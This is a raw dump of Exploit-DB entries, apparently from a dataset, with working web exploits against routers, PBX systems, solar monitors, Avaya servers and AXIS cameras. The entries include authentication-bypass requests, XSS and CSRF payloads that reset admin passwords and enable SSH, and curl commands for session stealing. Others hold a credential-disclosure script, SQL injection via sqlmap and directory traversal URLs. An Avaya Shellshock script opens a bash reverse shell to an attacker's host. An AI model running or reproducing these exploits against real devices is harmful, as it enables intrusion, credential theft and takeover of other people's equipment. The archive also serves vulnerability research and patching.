deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45201
Description: ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2018-08-15
Author: AmnBAN

Exploit:
# Title: ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass
# Author: AmnBAN team
# Date: 2018-08-06
# Vendor Homepage: https://www.asus.com/Networking/DSLN10_C1_with_5dBi_antenna/
# Sofrware version: 1.1.2.2_17
# CVE: N/A

# 1. Description:
# In ASUS-DSL N10 C1 modem Firmware Version 1.1.2.2_17 there is login_authorization 
# parameter in post data, that use for authorization access to admin panel, 
# the data of this parameter is not fully random and you can use old data 
# or data of another device to access admin panel.

# 2. Proof of Concept:
# Browse http://<Your Modem IP>/login.cgi

# Send this post data:
group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=YWRtaW46MQ%3D%2D

# Or this post data:
group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=FWRtaW46MQ%3D5D
Exploit-DB #41571
Description: ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2017-03-08
Author: Bruno Bierbaumer

Exploit:
Cross-Site Scripting (XSS)

Component: httpd

CVE: CVE-2017-6547

Vulnerability:

httpd checks in the function handle_request if the requested file name is longer than 50 chars. It then responds with a redirection which allows an attacker to inject arbitrary JavaScript code into the router’s web interface context.

...

if(strlen(file) > 50 &&!(strstr(file, "findasus")) && !(strstr(file, "acme-challenge")))
{
    char inviteCode[256];
    snprintf(inviteCode, sizeof(inviteCode), "<script>location.href='/cloud_sync.asp?flag=%s';</script>", file);
    send_page( 200, "OK", (char*) 0, inviteCode, 0);

...
PoC:

http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A
Exploit-DB #41572
Description: ASUSWRT RT-AC53 (3.0.0.4.380.6038) - Session Stealing
Type: webapps
Platform: hardware
Date: 2017-03-08
Author: Bruno Bierbaumer

Exploit:
Session Stealing

Component: httpd

CVE: CVE-2017-6549

Vulnerability:

httpd uses the function search_token_in_list to validate if a user is logged into the admin interface by checking his asus_token value. There seems to be a branch which could be a failed attempt to build in a logout functionality.

asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
{
    asus_token_t *ptr = head;
    asus_token_t *tmp = NULL;
    int found = 0;
    char *cp = NULL;

    while(ptr != NULL)
    {
        if(!strncmp(token, ptr->token, 32)) {
            found = 1;
            break;
        }
        else if(strncmp(token, "cgi_logout", 10) == 0) {
            cp = strtok(ptr->useragent, "-");

            if(strcmp(cp, "asusrouter") != 0) {
                found = 1;
                break;
            }
        }
        else {
            tmp = ptr;
            ptr = ptr->next;
        }
    }
    
    if(found == 1) {
        if(prev)
            *prev = tmp;
        return ptr;
    }   
    else {
        return NULL;
    }
}
If an attacker sets his cookie value to cgi_logout and puts asusrouter-Windows-IFTTT-1.0 into his User-Agent header he will be treated as signed-in if any other administrator session is active.

PoC:

# read syslog
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt

#reboot router
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'
It’s possible to execute arbitrary commands on the router if any admin session is currently active.
Exploit-DB #44937
Description: AsusWRT RT-AC750GF - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: hardware
Date: 2018-06-25
Author: Wadeek

Exploit:
# Exploit Title: AsusWRT RT-AC750GF - Cross-Site Request Forgery (Change Admin Password)
# Date: 2018-06-23
# Exploit Author: Wadeek
# Vendor Homepage: https://www.asus.com/
# Firmware Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-AC750GF/FW_RT_AC750GF_[PII_REDACTED]8.zip
# Firmware Version: 3.0.0.4.380.6038
# Tested on: ASUS RT-AC750GF with default firmware version 3.0.0.4.380.6038

# (Cross Site Scripting -> URL Redirecting -> Cross-Site Request Forgery {Cookie: asus_token}
# -> Change the router login password and enable SSH daemon)

<html>
<body>
<p>Proof Of Concept</p>
<!-- <form action="http://192.168.1.1/findasus.cgi" method="POST"> -->
<form action="http://router.asus.com/findasus.cgi" method="POST">
<input type="hidden" name="action_mode" value="refresh_networkmap" />
<input type="text" id="current_page" name="current_page" value="" />
<script>
// set username at admin
// set password at admin123
// enable ssh daemon
document.getElementById("current_page").value = "start_apply.htm?productid=RT-AC53&current_page=Advanced_System_Content.asp&next_page=Advanced_System_Content.asp&modified=0&action_mode=apply&action_wait=5&action_script=restart_time%3Brestart_upnp&http_username=admin&http_[CREDENTIAL_REDACTED]_passwd2=admin123&v_password2=admin123&sshd_enable=1&sshd_port=22&sshd_pass=1&sshd_authkeys=";
</script>
<input type="submit" value="" />
</form>
</body>
</html>
Exploit-DB #39962
Description: ATCOM PBX IP01 / IP08 / IP4 / IP2G4A - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2016-06-16
Author: i-Hmx

Exploit:
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A

Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines

js/util.js
function alertWithoutLogin(){
    var username = getCookie("username");
    //alert(username);
    if(!!!username){
        alert('Sorry, permission denied. Please login first!');
    }
}

so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!

exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/

Demo request

GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1

From Eg-R1z with love
./Faris
Exploit-DB #51582
Description: Ateme TITAN File 3.9 - SSRF File Enumeration
Type: webapps
Platform: hardware
Date: 2023-07-11
Author: LiquidWorm

Exploit:
#Exploit Title: Ateme TITAN File 3.9 - SSRF File Enumeration
#Exploit Author: LiquidWorm


Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.9.12.4
                  3.9.11.0
                  3.9.9.2
                  3.9.8.0

Summary: TITAN File is a multi-codec/format video transcoding
software, for mezzanine, STB and ABR VOD, PostProduction, Playout
and Archive applications. TITAN File is based on ATEME 5th Generation
STREAM compression engine and delivers the highest video quality
at minimum bitrates with accelerated parallel processing.

Desc: Authenticated Server-Side Request Forgery (SSRF) vulnerability
exists in the Titan File video transcoding software. The application
parses user supplied data in the job callback url GET parameter. Since
no validation is carried out on the parameter, an attacker can specify
an external domain and force the application to make an HTTP/DNS/File
request to an arbitrary destination. This can be used by an external
attacker for example to bypass firewalls and initiate a service, file
and network enumeration on the internal network through the affected
application.

Tested on: Microsoft Windows
           NodeJS
           Ateme KFE Software


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5781
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5781.php


22.04.2023

--


curl -vk -H "X-TITAN-WEB-HASTOKEN: true" \
         -H "X-TITAN-WEB-TOKEN: 54E83A8B-E9E9-9C87-886A-12CB091AB251" \
         -H "User-Agent: sunee-mode" \
         "https://10.0.0.8/cmd?data=<callback_test><url><!\[CDATA\[file://c:\\\\windows\\\\system.ini\]\]></url><state><!\[CDATA\[encoding\]\]></state></callback_test>"

Call to file://C:\\windows\\system.ini returned 0

---

HTTP from Server
----------------

POST / HTTP/1.1
Host: ssrftest.zeroscience.mk
Accept: */*
Content-Type: application/xml
Content-Length: 192

<?xml version='1.0' encoding='UTF-8' ?>
<update>
   <id>0000</id>
   <name>dummy test job</name>
   <status>aborted</status>
   <progress>50</progress>
   <message>message</message>
</update>
Exploit-DB #49124
Description: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2020-11-30
Author: Zagros Bingol

Exploit:
# Exploit Title: ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure
# Date: 2020-11-20
# Exploit Author: Zagros Bingol
# Vendor Homepage: http://www.atx.com
# Software Link: https://atx.com/products/commercial-services-gateways/minicmts200a-broadband-gateway/
# Version: 2.0 and earlier
# Tested on: Debian 10 64bit

-------------------------------------

Endpoint:
http://www.ip/domain.com/inc/user.ini

--------------------------------------

Proof-of-Concept:

#!/usr/bin/python3
#License: GNU General Public license v3.0
#Author: Zagros Bingol(Zagrosbingol@outlook.com)


import requests
import re

target = input("Target(ex:http://host): \n")
port = input("Port: \n")


def sploit(target, port):
print("ATX/PicoDigital MiniCMTS200a Broadband Gateway v2.0 -
Credential Disclosure\n")
r = requests.post(target + ":" + port + '/inc/user.ini')
searching = re.findall(r"\[.{1,8}\]", str(r.text))
print("Usernames:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))

def hash():
r = requests.post(target + '/inc/user.ini')
searching = re.findall(r"([a-fA-F\d]{32})", str(r.text))
print("Hashes:\n")
print(", ".join(searching).replace("[", "").replace("]", ""))
hash()

sploit(target, port)
Exploit-DB #46896
Description: AUO Solar Data Recorder < 1.3.0 - 'addr' Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-05-22
Author: Luca.Chiou

Exploit:
# Exploit Title: AUO Solar Data Recorder - Stored XSS
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO Solar Data Recorder all versions prior to v1.3.0
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index

# 1. Description:
# In AUO Solar Data Recorder web page,
# user can modify the system settings by access the /protect/config.htm.
# Attackers can inject malicious XSS code in parameter "addr" of post data.
# The value of addr will be stored in database, so that cause a stored XSS vulnerability.

# 2. Proof of Concept:
# Browse http://<Your<http://%3cYour> Modem IP>/protect/config.htm
# Send this post data:
 addr= "<script>alert(123)</script>&dhcp=1
Exploit-DB #46957
Description: AUO Solar Data Recorder < 1.3.0 - Incorrect Access Control
Type: webapps
Platform: hardware
Date: 2019-06-03
Author: Luca.Chiou

Exploit:
# Exploit Title: AUO Solar Data Recorder - Incorrect Access Control
# Date: 2019-04-16
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO Solar Data Recorder all versions prior to v1.3.0
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# CVE: CVE-2019-11367

# 1. Description:
# In AUO Solar Data Recorder web page, it's use HTTP Basic Access Authentication.
# Once user access the files which are under path http://<host>/protect/,
# the website will response the plaintext account and password in WWW-Authenticate attribute.
# Attackers is capable to login AUO Solar Data Recorder successfully.

# 2. Proof of Concept:
# Access the files which are under path http://<host>/protect/ of AUO Solar Data Recorder.
# The website use HTTP Basic Access Authentication,
# and response the plaintext account and password in WWW-Authenticate attribute.
# By using the account and password in HTTP response,
# anyone can login AUO Solar Data Recorder successfully.
Exploit-DB #47542
Description: AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection
Type: webapps
Platform: hardware
Date: 2019-10-24
Author: Luca.Chiou

Exploit:
# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - 'MailAdd' SQL Injection
# Date: 2019-10-24
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# CVE: N/A

# 1. Description:
# AUO SunVeillance Monitoring System all versions prior to v1.1.9e that is vulnerable to SQL Injection.
# The vulnerability can allow the attacker inject maliciously SQL command to the server which allows 
# the attacker to read privileged data.

# 2. Proof of Concept:

(1) Access the sending mail page of AUO SunVeillance Monitoring System  (/Solar_Web_Portal/mvc_send_mail.aspx) without any authentication. 
    There is a parameter, MailAdd, in mvc_send_mail.aspx.
(2) Modify the value of parameter MailAdd with single quotation. The error messages contains oracle database information.
(3) By using sqlmap tools, attacker can acquire the database list which in server side.

cmd: sqlmap.py -u “https://<host>/Solar_Web_Portal/mvc_send_mail.aspx?MailAdd=” -p MailAdd –dbs

(4) Furthermore, there are a few SQL Injection vulnerabilities in other fields.

picture_manage_mvc.aspx (parameter: plant_no)
swapdl_mvc.aspx (parameter: plant_no)
account_management.aspx (parameter: Text_Postal_Code, Text_Dis_Code)

Thank you for your kind assistance.

Luca
Exploit-DB #47541
Description: AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control
Type: webapps
Platform: hardware
Date: 2019-10-24
Author: Luca.Chiou

Exploit:
# Exploit Title: AUO SunVeillance Monitoring System 1.1.9e - Incorrect Access Control
# Date: 2019-10-24
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.auo.com/zh-TW
# Version: AUO SunVeillance Monitoring System all versions prior to v1.1.9e
# Tested on: It is a proprietary devices: https://solar.auo.com/en-global/Support_Download_Center/index
# CVE: N/A
 
# 1. Description:
# An issue was discovered in AUO SunVeillance Monitoring System.
# There is an incorrect access control vulnerability that can allow the attacker to 
# bypass the authentication mechanism, and upload files to the server without any authentication.
 
# 2. Proof of Concept:
(1) Access the picture management page of AUO SunVeillance Monitoring System (/Solar_Web_Portal/Picture_Manage_mvc.aspx) without 
    any authentication. As a guest role, user is not allowed to upload a picture. However, there are two parameters, Act and authority, in Picture_Manage_mvc.aspx.
(2) Modify the value of parameter authority from 40 to 100. You can find out the upload button is enabled.
(3) Now you can upload a file successfully.
(4) The file which we uploaded is storing in server side. It’s means any user without authentication can upload files to server side.
 
Thank you for your kind assistance.

Luca
Exploit-DB #48077
Description: Avaya Aura Communication Manager 5.2 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2020-02-17
Author: Sarang Tumne

Exploit:
# Exploit Title: Avaya Aura Communication Manager 5.2 - Remote Code Execution
# Exploit Author: Sarang Tumne a.k.a SarT
# Date: 2020-02-14
# Confirmed on release 5.2
# Vendor: https://www.avaya.com/en/
# Avaya's advisory:  
# https://downloads.avaya.com/css/P8/documents/100183151
# Exploit generates a reverse shell to a nc listener (Shellshock Exploit)

###############################################

#!/usr/bin/python

import sys
import requests
 
if len(sys.argv) < 4:
	print "\n[*] Avaya Aura Communication Manager (CM)- Shellshock Exploit"
	print "[*] Usage: <Victim's IP> <Attacker's IP> <Reverse Shell Port>" 
	print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 1337"
	print "[*] Netcat Listener: nc -lvvnp <port>"
	print "\n"
	sys.exit()

#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings() 
CM = sys.argv[1]
url = "https://" + CM + "/mt/mt.cgi"
attacker_ip = sys.argv[2]
rev_port = sys.argv[3]

http_headers = {
		
		"User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/'+attacker_ip+'/'+rev_port+' 0>&1'
			
		}

def main():
		if len(sys.argv) == 4:
		  
		  print "[+] Success, spawning a shell on your custom port :)..."
		  requests.get(url, headers=http_headers, verify=False, timeout=5)
		
		else: 	
		  print "[-] Something went wrong, quitting..."
			
		sys.exit()
	

if __name__ == "__main__":
	main()
Exploit-DB #48105
Description: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2020-02-24
Author: Scott Goodwin

Exploit:
# Exploit Title: Avaya IP Office Application Server 11.0.0.0 - Reflective Cross-Site Scripting
# Release Date: 2019-12-11
# Exploit Authors: Dan Bohan, Scott Goodwin, OCD Tech
# Vendor Homepage: https://www.avaya.com/en/
# Software Link: https://www.avaya.com/en/products/unified-communications/voip/
# Vulnerable Version: 11.0 FP4 SP1 and before
# Tested on: 11.0.0.0
# CVE: CVE-2019-7004
# Vendor Advisory: ASA-2019-213
# References: https://downloads.avaya.com/css/P8/documents/101062833
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7004

Avaya IP Office version 11.0.0.0 and before has a vulnerable login page (username) which is susceptible to cross-site scripting (XSS) via a POST request due to improper sanitization of user input. XSS via a post request allows for arbitrary code to be executed on the client’s system in the security context of the browser. By submitting a specially crafted username, it is possible to execute arbitrary JavaScript.

# PoC
Username: 41529%22%2F%3E%0A%3Cscript%3Ealert%28%27XSS%21%27%29%3B%3C%2Fscript%3E
[CREDENTIAL_REDACTED]
Exploit-DB #22549
Description: AVerCaster Pro RS3400 Web Server - Directory Traversal
Type: webapps
Platform: hardware
Date: 2012-11-07
Author: Patrick Saladino

Exploit:
# Exploit Title: AVerCaster Pro RS3400 web server directory traversal
# Date: 2012-10-06
# Exploit Author: Patrick Saladino
# Vendor Homepage: http://www.avermedia.com/product/ProductDetail.aspx?Id=560
# Version: v.3.1.20
# Tested on: Not relevant
# CVE : none yet

Hello,

I just wanted to let you know that the latest video-streaming solution from AVerMedia, the AVerCaster Pro RS3400, is vulnerable to a nasty directory traversal bug. The whole filesystem (at least the locations accessible to the user running the web service) can easily be reached from the web using a crafted URL, such as :

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem.ini

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../windows/Starter.xml (Windows 7)

http://somehost.com/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../Program%20Files/Internet%20Explorer/iexplore.exe

While no system files can be downloaded using that flaw, it's still bad programming...

Cheers,

Patrick
Exploit-DB #41626
Description: AXIS (Multiple Products) - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2017-03-17
Author: Orwelllabs

Exploit:
          0RWELLL4BS
          **********
       security advisory
         olsa-CVE-2015-8255
         PGP: 79A6CCC0
          @orwelllabs




Advisory Information
====================
- Title: Cross-Site Request Forgery
- Vendor: AXIS Communications
- Research and Advisory: Orwelllabs
- Class: Session Management control [CWE-352]
- CVE Name: CVE-2015-8255
- Affected Versions:
- IoT Attack Surface: Device Web Interface
- OWASP IoTTop10: I1



Technical Details
=================
Because of the own (bad) design of this kind of device (Actualy a big
problem of IoT, one of them)
The embedded web application does not verify whether a valid request was
intentionally provided by the user who submitted the request.



PoCs
====
#-> Setting root password to W!nst0n

<html>
  <!-- CSRF PoC  Orwelllabs -->
  <body>
    <form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="user" value="root" />
      <input type="hidden" name="pwd" value="w!nst0n" />
      <input type="hidden" name="comment" value="Administrator" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


#-> Adding new credential SmithW:W!nst0n

<html>
  <!-- CSRF PoC - Orwelllabs -->
  <body>
    <form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="user" value="SmithW" />
      <input type="hidden" name="sgrp"
value="viewer&#58;operator&#58;admin&#58;ptz" />
      <input type="hidden" name="pwd" value="W!nst0n" />
      <input type="hidden" name="grp" value="users" />
      <input type="hidden" name="comment" value="WebUser" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


#-> Deleting an app via directly CSRF (axis_update.shtml)

http://xxx.xxx.xxx.xxx/axis-cgi/vaconfig.cgi?action=get&name=<script src="
http://xxx.xxx.xxx.xxx/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml
"></script>


[And many acitions allowed to an user [all of them?] can be forged in this
way]


Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
Well, this is a very old design problem of this kind of device, nothing new
to say about that.


Credits
=======
These vulnerabilities has been discovered and published by Orwelllabs.


Legal Notices
=============
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.


About Orwelllabs
================
https://www.exploit-db.com/author/?a=8225
https://packetstormsecurity.com/files/author/12322/